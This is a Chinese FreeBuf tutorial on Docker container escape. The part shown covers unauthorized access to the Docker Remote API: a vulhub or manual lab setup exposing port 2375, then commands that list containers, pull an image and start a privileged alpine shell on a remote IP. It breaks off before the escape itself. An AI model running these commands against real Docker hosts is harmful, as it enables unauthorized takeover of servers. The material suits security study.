浅谈docker逃逸的几种方式
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
1、Docker Remote API未授权访问逃逸
漏洞简介及危害
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
漏洞利用
1-1、环境搭建
这里使用vulhub中的漏洞环境
cd vulhub-master/docker/unauthorized-rce docker-compose build docker-compose up -d
(2)手动搭建
查询docker服务
systemctl status docker.service
编辑docker服务文件
vim /usr/lib/systemd/system/docker.service
在ExecStart行后面追加以下内容
-H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
- -H tcp://0.0.0.0:2375允许通过网络远程访问 Docker,但可能有安全风险,需要加密和访问控制来保护。
- -H unix://var/run/docker.sock只能本地访问,通常更安全,适用于本地命令行工具和进程之间的通信。不适用于远程访问。(这个配置下文的挂载docker socket逃逸会用到)
重新加载 systemd 守护程序,以便使对 systemd 服务的更改生效
systemctl daemon-reload
重启docker服务
systemctl restart docker.service
查看端口是否开启
netstat -nlpt
1-2、漏洞验证
访问version和info界面,如果存在返回信息,说明漏洞存在。
1-3、漏洞利用
通过任意一台安装了docker的主机,执行命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。
查看容器运行情况
docker -H tcp://81.68.121.124:2375 ps
让目标主机拉取一个镜像
docker -H tcp://81.68.121.124:2375 pull alpine
查看目标主机拉取的镜像
以特权模式,启动拉取的alpine镜像
docker -H tcp://81.68.121.124:2375 run -it --privileged alpine /bin/sh docker run --cap-add SYS_ADMIN -it alpine #这是第二种方法
这里为什么要用特权容器:
Docker 中的特权容器(privileged containers)是一种容器配置,它赋予容器更高级别的操作权限,允许容器执行一些通常需要主机级别权限的操作。特权容器与普通容器的主要区别在于其拥有更多的主机权限,这允许容器在主机上执行更多的系统级任务,但也会降低容器的安全性和隔离性。
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录